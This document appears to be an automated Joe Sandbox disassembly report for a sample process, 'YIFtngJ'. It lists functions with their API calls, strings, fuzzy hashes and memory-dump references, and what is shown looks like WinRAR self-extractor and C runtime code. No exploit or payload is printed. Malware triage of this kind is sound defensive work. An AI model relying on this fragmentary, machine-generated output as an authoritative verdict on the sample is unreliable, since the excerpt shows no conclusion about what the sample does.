Instruction ID: 22f9f48238244fc878da921a55fe343a4ecf59e1cea8dea3614cb2a28137011f
Opcode Fuzzy Hash: e9a96ab24679dffbaed7314148b44f2acf659b9971491a70f9c9e8eef438b08e
Instruction Fuzzy Hash: CA415E71911259AADF21FB60CD85EEE77FCAF45380F0040E6B509E3242DA389B85CF64

Function 00B77EE5 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 124memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,00B78705,?), ref: 00B77FBA
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,-00000003,00000000,00000000), ref: 00B77FDB
CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 00B78002

Strings

utf-8"></head>, xrefs: 00B77F3F
</html>, xrefs: 00B77F8C
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00B77F34
<html>, xrefs: 00B77F29, 00B77F62

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Global$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4094277203-4209811716
Opcode ID: 59bec2c3c81ab9976a078b41acba5c64c9c8565a5b33f90a4e278d835be475b5
Instruction ID: d04d2104f1b7909f165ca5f58c4fc1480ad3a6c3293284c8dcd06cc4e1a7c81c
Opcode Fuzzy Hash: 59bec2c3c81ab9976a078b41acba5c64c9c8565a5b33f90a4e278d835be475b5
Instruction Fuzzy Hash: 993148310483527ED725BB249C06F6F77D8DF42720F1085DAF5249A1E1EFB09908C7A5

Function 00B77D96 Relevance: 12.1, APIs: 8, Instructions: 135windowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00B77DAF
GetTickCount.KERNEL32 ref: 00B77DCD
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B77DE3
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B77DF7
TranslateMessage.USER32(?), ref: 00B77E02
DispatchMessageW.USER32(?), ref: 00B77E0D
ShowWindow.USER32(?,00000005,?,00000000,?,?,?,?,00000000,00000000,00000000,<html>,00000006), ref: 00B77EBD
SetWindowTextW.USER32(?,00000000), ref: 00B77EC7

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Message$CountTickWindow$DispatchPeekShowTextTranslate
String ID:
API String ID: 4150546248-0
Opcode ID: c7eb42a0167b77ba854cb7f5d7a09adc6ed506831e5b060c69922ae112754770
Instruction ID: 18429c36c3427e793395187111ec8b62256197ae884ee5ecd4b2548267a171f2
Opcode Fuzzy Hash: c7eb42a0167b77ba854cb7f5d7a09adc6ed506831e5b060c69922ae112754770
Instruction Fuzzy Hash: 37413871208306AFDB14DF65D988D2BBBEDEF89704B0048ADB55AC7260DF61EC45CB62

Function 00B6FE20 Relevance: 12.1, APIs: 8, Instructions: 117timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00B6FE33

Part of subcall function 00B6A8E0: GetVersionExW.KERNEL32(?), ref: 00B6A905

FileTimeToLocalFileTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 00B6FE5C
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 00B6FE6E
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00B6FE7B
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B6FE91
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B6FE9D
FileTimeToSystemTime.KERNEL32(?,?), ref: 00B6FED3
__aullrem.LIBCMT ref: 00B6FF5D

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: a9e8dc8f2f9ef3c26925a7159f569836e9756c82a8b687b55eb2db5d5994f53a
Instruction ID: e4c3956e94991fec9225867d5e62f7bd2934e6ea03303fb75cb90203ad2dca09
Opcode Fuzzy Hash: a9e8dc8f2f9ef3c26925a7159f569836e9756c82a8b687b55eb2db5d5994f53a
Instruction Fuzzy Hash: 39412AB24083069FC710DF65D8809ABFBF8FF88714F104A2EF59692250E739E548DB52

Function 00B8C56D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00B8CCE2,00000000,00000000,00000000,00000000,00000000,00B82C4E), ref: 00B8C5AF
__fassign.LIBCMT ref: 00B8C62A
__fassign.LIBCMT ref: 00B8C645
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00B8C66B
WriteFile.KERNEL32(?,00000000,00000000,00B8CCE2,00000000,?,?,?,?,?,?,?,?,?,00B8CCE2,00000000), ref: 00B8C68A
WriteFile.KERNEL32(?,00000000,00000001,00B8CCE2,00000000,?,?,?,?,?,?,?,?,?,00B8CCE2,00000000), ref: 00B8C6C3

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 618945159cb32aa0ca166d4ac3105b724d3c0e53bba736e6f6155288ea8d056a
Instruction ID: a68da01f8f8294af4bb8f2fd8d1e43fbe416029efbbe20795d1142df042848eb
Opcode Fuzzy Hash: 618945159cb32aa0ca166d4ac3105b724d3c0e53bba736e6f6155288ea8d056a
Instruction Fuzzy Hash: 5951B5B5D002499FCB10DFA8D885AEEBBF8FF19300F1441AAE555E7261EB309940CF65

Function 00B7B0D9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 00B7B0EF
_swprintf.LIBCMT ref: 00B7B123

Part of subcall function 00B63F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B63F6E

SetDlgItemTextW.USER32(?,00000066,00BA3122), ref: 00B7B143
_wcschr.LIBVCRUNTIME ref: 00B7B176
EndDialog.USER32(?,00000001), ref: 00B7B257

Strings

%s%s%u, xrefs: 00B7B118

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: e9930d941f4c8704de5ad252e490d39087ba6afce4b341132048a74cd8ae46df
Instruction ID: e3036542717b77c75f0ab6aec6247042f47f99a0960037bf3c2d78cfbbf75250
Opcode Fuzzy Hash: e9930d941f4c8704de5ad252e490d39087ba6afce4b341132048a74cd8ae46df
Instruction Fuzzy Hash: 8C413871900219AEEF25DBA4DD85FEE77F8EB09304F4080E6B519E6051EF749B848FA0

Function 00B6C91F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00B6C9A5
_strlen.LIBCMT ref: 00B6C9D5
_swprintf.LIBCMT ref: 00B6C9F6
_wcschr.LIBVCRUNTIME ref: 00B6CA1F
_wcsrchr.LIBVCRUNTIME ref: 00B6CA6B

Strings

%08x, xrefs: 00B6C9EA

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcsrchr
String ID: %08x
API String ID: 1593746830-3682738293
Opcode ID: bfb45e458d7ca2bcf1ae8d45e24a533d889247a55f8d6b64c048b037d1498b09
Instruction ID: 31a50146fb746cba4ce3035b9ad9aa7f82f808c439aebbb21c72eb29d4ef79c4
Opcode Fuzzy Hash: bfb45e458d7ca2bcf1ae8d45e24a533d889247a55f8d6b64c048b037d1498b09
Instruction Fuzzy Hash: A6410533914345AAEB31F664CC49EBB7BECEB85750F1405BAF988A7192D638DD04C3A1

Function 00B7859C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 00B785B5
GetWindowRect.USER32(?,?), ref: 00B785DA
ShowWindow.USER32(?,00000005,?), ref: 00B78671
SetWindowTextW.USER32(?,00000000), ref: 00B78679
ShowWindow.USER32(00000000,00000005), ref: 00B7868F

Strings

RarHtmlClassName, xrefs: 00B7863B

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: f32f311964a361780ff7f222b3b2373abbb83fb707a0cc247a474200c87ea68c
Instruction ID: 8905378ebd7e51b47303c1c0be17feac0bab6f5cb71667cc561b9180ef010409
Opcode Fuzzy Hash: f32f311964a361780ff7f222b3b2373abbb83fb707a0cc247a474200c87ea68c
Instruction Fuzzy Hash: BE318E36145314AFC721AF64DE4CA1BBFE9EB48701F04849AFD59AA192DF70D900CBE2

Function 00B8930F Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B892D3: _free.LIBCMT ref: 00B892FC

_free.LIBCMT ref: 00B8935D

Part of subcall function 00B859C2: RtlFreeHeap.NTDLL(00000000,00000000,?,00B89301,?,00000000,?,00000000,?,00B89328,?,00000007,?,?,00B89725,?), ref: 00B859D8
Part of subcall function 00B859C2: GetLastError.KERNEL32(?,?,00B89301,?,00000000,?,00000000,?,00B89328,?,00000007,?,?,00B89725,?,?), ref: 00B859EA

_free.LIBCMT ref: 00B89368
_free.LIBCMT ref: 00B89373
_free.LIBCMT ref: 00B893C7
_free.LIBCMT ref: 00B893D2
_free.LIBCMT ref: 00B893DD
_free.LIBCMT ref: 00B893E8

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 79ca16251da02bffb22ec5b04b3bd6bb15c96f5b654e5c829824a9962078a30e
Instruction ID: 88b9531f30f1f824b3d35ecaedfb2bab7a4c28a3361792853b84e6e8a7d05129
Opcode Fuzzy Hash: 79ca16251da02bffb22ec5b04b3bd6bb15c96f5b654e5c829824a9962078a30e
Instruction Fuzzy Hash: 2D112171A41B08FAED30BBB0CC47FDB77DC9F04B14F844855B299A6072DA65B918C750

Function 00B80C14 Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B80C0B,00B7E662), ref: 00B80C22
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B80C30
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B80C49
SetLastError.KERNEL32(00000000,?,00B80C0B,00B7E662), ref: 00B80C9B

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 324435e1889cb8afe0a569fcd8ada9ed98723efb1f2ea76455fa8913d5e8c84d
Instruction ID: 87d59109efccd28fb0715b00f9d5fe068531c63a1764f6d59589833c946943c5
Opcode Fuzzy Hash: 324435e1889cb8afe0a569fcd8ada9ed98723efb1f2ea76455fa8913d5e8c84d
Instruction Fuzzy Hash: 1C0184322697255EE7653AB86D859672AD8EB027F5F3003ABF510660F1EF214C09D780

Function 00B7C7FD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

AcquireSRWLockExclusive, xrefs: 00B7C82C
ReleaseSRWLockExclusive, xrefs: 00B7C83C
KERNEL32.DLL, xrefs: 00B7C817

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: 3367dc78fdf67223790939accfbe750f67c25c741a3cb981419a5b275dd7a8d9
Instruction ID: 733f4577be7282ff59e04ed371053a0a43d8f9de83e1faa1ae3a6d8bb5ca53da
Opcode Fuzzy Hash: 3367dc78fdf67223790939accfbe750f67c25c741a3cb981419a5b275dd7a8d9
Instruction Fuzzy Hash: 9E012D72B412225B4F201FB45CC56B62FC4DB0279132195FED879D3150EB51C840B7E3

Function 00B70050 Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 00B700AE

Part of subcall function 00B6A8E0: GetVersionExW.KERNEL32(?), ref: 00B6A905

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00B700D0
FileTimeToSystemTime.KERNEL32(?,?), ref: 00B700EA
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 00B700FB
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B7010B
SystemTimeToFileTime.KERNEL32(?,?), ref: 00B70117

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: e6acceeade468e12b9e53887c868ced48e13e1297e59093e8838c6378e860710
Instruction ID: ff87f40569144250ec42e77b66ecb6a191145debde6a1e1fb0c010712fdabba5
Opcode Fuzzy Hash: e6acceeade468e12b9e53887c868ced48e13e1297e59093e8838c6378e860710
Instruction Fuzzy Hash: 0131E6761183459EC700EFA5C9809ABB7F8BF98704F04495EF999D3210EA30D549CB2A

Function 00B78206 Relevance: 9.1, APIs: 6, Instructions: 86COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 00B7822A
_memcmp.LIBVCRUNTIME ref: 00B78241

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: cd7f6e5caa950b979ead8b1da7938ecab00fc1c86cc4ec80b1e2b6ef3d7bba98
Instruction ID: 048fd661cbfe34b8205eb91492a8ce348ee637db9f033452e09af3af44ccc19f
Opcode Fuzzy Hash: cd7f6e5caa950b979ead8b1da7938ecab00fc1c86cc4ec80b1e2b6ef3d7bba98
Instruction Fuzzy Hash: 9F21367268050BABDB049A10CCC5E3B77ECEF54759B04C5E8FC2C8A203FA30DC0466A0

Function 00B6FB02 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B6FB07
EnterCriticalSection.KERNEL32(00BA1E74,00000000,?,?,00B6A7C2,?,00B6C74B,?,00000000,?,00000001,?,?,?,00B73AFF,?), ref: 00B6FB15
new.LIBCMT ref: 00B6FB35
new.LIBCMT ref: 00B6FB6B
LeaveCriticalSection.KERNEL32(00BA1E74,?,00B6A7C2,?,00B6C74B,?,00000000,?,00000001,?,?,?,00B73AFF,?,00008000,?), ref: 00B6FB8B
LeaveCriticalSection.KERNEL32(00BA1E74,?,00B6A7C2,?,00B6C74B,?,00000000,?,00000001,?,?,?,00B73AFF,?,00008000,?), ref: 00B6FB96

Part of subcall function 00B6F930: InitializeCriticalSection.KERNEL32(000001A0,00BA1E74,00000000,?,?,00B6FB88,00000020,?,00B6A7C2,?,00B6C74B,?,00000000,?,00000001,?), ref: 00B6F969
Part of subcall function 00B6F930: CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00B6A7C2,?,00B6C74B,?,00000000,?,00000001,?,?,?,00B73AFF), ref: 00B6F973
Part of subcall function 00B6F930: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00B6A7C2,?,00B6C74B,?,00000000,?,00000001,?,?,?,00B73AFF), ref: 00B6F983

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: CriticalSection$CreateLeave$EnterEventH_prologInitializeSemaphore
String ID:
API String ID: 3919453512-0
Opcode ID: 821046aaf8325eeb402d88bc3ee211777efbd444e3e502962aee9e1222727cfd
Instruction ID: 062d5e09d6ec3521ec3b4fa4684a3e6b433094e406e819b40c2d691651a70598
Opcode Fuzzy Hash: 821046aaf8325eeb402d88bc3ee211777efbd444e3e502962aee9e1222727cfd
Instruction Fuzzy Hash: 9011A335A002129BD754AF68EC56A7D7AE8EB89750F0441BEF819D72D0DF748801CB50

Function 00B8631F Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00B9CBE8,00B82674,00B9CBE8,?,?,00B82213,?,?,00B9CBE8), ref: 00B86323
_free.LIBCMT ref: 00B86356
_free.LIBCMT ref: 00B8637E
SetLastError.KERNEL32(00000000,?,00B9CBE8), ref: 00B8638B
SetLastError.KERNEL32(00000000,?,00B9CBE8), ref: 00B86397
_abort.LIBCMT ref: 00B8639D

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: d625e34dd18aceb469643a447d13851c350d09d2724ab45c9fdf23acee717ced
Instruction ID: 12a94b66f65a9be859ba7bb78f50e95bb875d9a5464fb7820100e2455c451e55
Opcode Fuzzy Hash: d625e34dd18aceb469643a447d13851c350d09d2724ab45c9fdf23acee717ced
Instruction Fuzzy Hash: 9AF08136645A006ACA223B2D6D8AF6A23E9DBD2771F350195F524A31B1EF21C801C399

Function 00B7B820 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00B612E7: GetDlgItem.USER32(00000000,00003021), ref: 00B6132B
Part of subcall function 00B612E7: SetWindowTextW.USER32(00000000,00B902E4), ref: 00B61341

EndDialog.USER32(?,00000001), ref: 00B7B86B
GetDlgItemTextW.USER32(?,00000066,00000800), ref: 00B7B881
SetDlgItemTextW.USER32(?,00000065,?), ref: 00B7B89B
SetDlgItemTextW.USER32(?,00000066), ref: 00B7B8A6

Strings

RENAMEDLG, xrefs: 00B7B838

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455052919.0000000000B90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000B9A000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455085841.0000000000BBA000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2455592599.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b60000_YIFtngJ.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 6659f1cd11ce3243642b6074967c6890abb91f271a441716ab6028a41733f31e
Instruction ID: 9beac48584164b9d719aa88179461c31195699f7c01be6d28b95ec01a820e285
Opcode Fuzzy Hash: 6659f1cd11ce3243642b6074967c6890abb91f271a441716ab6028a41733f31e
Instruction Fuzzy Hash: CA01F532944311BBD5118E699E89F377BACDB85B41F00445AF249B30A1CB96A804DA73

Function 00B84ADF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00B84A90,?,?,00B84A30,?,00B97F68,0000000C,00B84B87,?,00000002), ref: 00B84AFF
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B84B12
FreeLibrary.KERNEL32(00000000,?,?,?,00B84A90,?,?,00B84A30,?,00B97F68,0000000C,00B84B87,?,00000002,00000000), ref: 00B84B35

Strings

mscoree.dll, xrefs: 00B84AF8
CorExitProcess, xrefs: 00B84B0A

Memory Dump Source

Source File: 00000006.00000002.2454956668.0000000000B61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000006.00000002.2454934029.0000000000B60000.00000002.00000001.01000000.00000009.sdmpDownload File
